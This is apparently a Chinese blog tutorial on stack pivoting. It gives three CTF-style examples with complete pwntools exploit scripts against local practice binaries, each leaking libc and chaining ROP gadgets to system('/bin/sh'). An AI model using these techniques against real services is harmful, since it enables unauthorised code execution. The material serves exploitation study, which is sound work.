栈迁移:三种利用方法

本文详细介绍了栈迁移在内存溢出攻击中的应用,包括如何利用leaveret指令进行栈控制,以及通过栈溢出覆盖返回地址并执行ROP链,展示了在不同场景下的栈迁移实例,如迁移到bss段和利用read函数的溢出进行更复杂的操作。
摘要由CSDN通过智能技术生成

简绍

栈迁移一般用于溢出字节不够,但至少溢出0x10个字节,也就是用来覆盖rbp及返回地址,一般有两种方向:迁向原来的的栈,迁移到bss段。在学习栈迁移之前,需要了解一下一个汇编指令:leave ret,他的作用可以拆分成两部分:mov rsp rbp  pop rbp。leave ret的作用是用来清空栈的,在主函数最后都会有,但如果用两次会有怎样的效果呢

 

 借用了这篇博主的图片,两次leave ret 会返回到我们所控制的rbp的位置,这里注意,是rbp的位置是我们要覆盖的返回地址,接下来接三道例题讲解栈迁移不同的利用方式

例题

可泄露出位置的栈迁移

IDA分析,我们可以看到read函数存在栈溢出,但只能溢出0x10(16)个字节,正好可以覆盖rbp和返回地址,这样我们直接想到栈迁移。第二个printf函数会把buf的位置打印出来,而我们要返回的则是buf后的部分,也就是v2,我们可以用buf的地址+8就是v2的地址

 我们把栈迁到v2之后去执行什么呢,这也是栈迁移的重点,我们需要把垃圾数据改成有用的数据,这样我们迁移之后可以去执行我们的rop链,这道题是没有后门的,我们需要运用两次栈迁移,先用libc得到system("\bin\sh")之后去执行

exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn1")
elf=ELF("./pwn1")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def bug():
        gdb.attach(p)
        pause()
rdi=0x0000000000401333
vuln=0x4011FB
leave_ret=0x4012AA

##  随便找一个    
p.recvuntil("your name:")   
pay1=b'a'*8
#bug()
p.send(pay1)
p.recvuntil("0x")
rbp1=int(p.recv(12),16)+8
print(hex(rbp1))
p.recvuntil("more infomation plz:")
pay  =(b'a'*8+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(vuln)).ljust(0x50,b'\x00')

#前8个a是因为ret会往后迁一位,ljust是补齐0x50个字节不够的用0x00来补充
pay +=p64(rbp1)+p64(leave_ret)
#bug()
p.send(pay)
libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['puts']
print(hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()
p.recvuntil("your name:")   
pay2=b'a'*8
p.send(pay2)
p.recvuntil("0x")
rbp2=int(p.recv(12),16)+8
print(hex(rbp2))
p.recvuntil("more infomation plz:")
pay  =(b'a'*8+p64(rdi)+p64(bin_sh)+p64(rdi+1)+p64(system)).ljust(0x50,b'\x00')
pay +=p64(rbp2)+p64(leave_ret)
bug()
p.send(pay)
p.interactive()    

 打通本地

 迁到bss段的栈迁移

IDA分析,函数很简单,第二次栈溢出也只能溢出0x10个字节,这是例题,比较明显,一般我们需要结合调试去看我们的rop链是否能完全读入,在考虑用不用栈迁移

 我们发现s是bss变量,结合第一题,我们在第一次读入有用的rop链,第二次栈迁移到bss段就可以去实现,这道题同样是没有后门的,同样需要利用两次栈迁移

 附上脚本:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn2")
elf=ELF("./pwn2")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def bug():
         gdb.attach(p)
         pause()
rdi=0x00000000004012a3
main=0x401210
bss=0x406060
leave_ret=0x40120E
p.recvuntil("hello")
pay1=p64(rdi)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(main)
p.send(pay1)
p.recvuntil("say?")
pay2=b'a'*(0x60)+p64(bss)+p64(leave_ret)
bug()
p.send(pay2) 

p.interactive()

 但我们会发现这里会卡住,原因是因为我们读入的地方bss-8,具体原因是因为ret会往下推一个栈

 附上最终脚本:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn2")
elf=ELF("./pwn2")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def bug():
         gdb.attach(p)
         pause()
rdi=0x00000000004012a3
main=0x401210
bss=0x406060-8
leave_ret=0x40120E
p.recvuntil("hello")
pay1=p64(rdi)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(main)
p.send(pay1)
p.recvuntil("say?")
pay2=b'a'*(0x60)+p64(bss)+p64(leave_ret)
bug()
p.send(pay2)  
libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['read']
print(hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()
p.recvuntil("hello")
pay3=p64(rdi)+p64(bin_sh)+p64(rdi+1)+p64(system)
p.send(pay3)
p.recvuntil("say?")
pay  =(p64(rdi)+p64(bin_sh)+p64(rdi+1)+p64(system)).ljust(0x60,b'\x00')
pay +=p64(0x406008-8)+p64(leave_ret)
#bug()
p.send(pay)
p.interactive()

 打通

 利用read函数的栈溢出

我感觉这一题才是对栈迁移原理的运用最全面的,前边两种方法都有局限性,这种方法局限性不是很大,是一种全新的利用方式

IDA分析,这次前面没有地址的泄露,也没有读入到bss段,那该怎么办呢

 讲一下read函数,这是read函数的汇编代码

 这个lea汇编指令就是把rbp加上buf的值赋给了rax,第三行再把rax的值赋给rsi作为read函数读入位置的参数,而buf固定为0x50,所以确定读入位置由rbp决定,那我们可以通过pop rbp来控制rbp更改读入位置。

这道题需要利用三次迁移

exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn3")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF("./pwn3")
def bug():
          gdb.attach(p)
          pause()
bss=0x404020+0x700
read=0x4011FF
rdi=0x00000000004012b3
rbp=0x000000000040115d
leave_ret=0x401227
vuln=0x4011DB        
p.recvuntil("just chat with me:")
pay1=b'a'*(0x50)+p64(bss+0x50)+p64(read)

#迁移到bss段,+0x50是因为buf=-0x50
bug()
p.send(pay1)
pause()
pay2 =(p64(rdi)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(rbp)+p64(bss+0x300+0x50)+p64(read)).ljust(0x50,b'\x00')
pay2+=p64(bss-8)+p64(leave_ret)     

#第二次利用read函数,迁移到bss+0x300的位置
p.send(pay2)
libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['read']
print(hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()
pay3 =(b'a'*8+p64(rdi)+p64(bin_sh)+p64(rdi+1)+p64(system)).ljust(0x50,b'\x00')

#再次迁移执行system("\bin\sh")
pay3+=p64(bss+0x300)+p64(leave_ret)
pause()
p.send(pay3)

p.interactive()   
         

 打通

 

  • 18
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值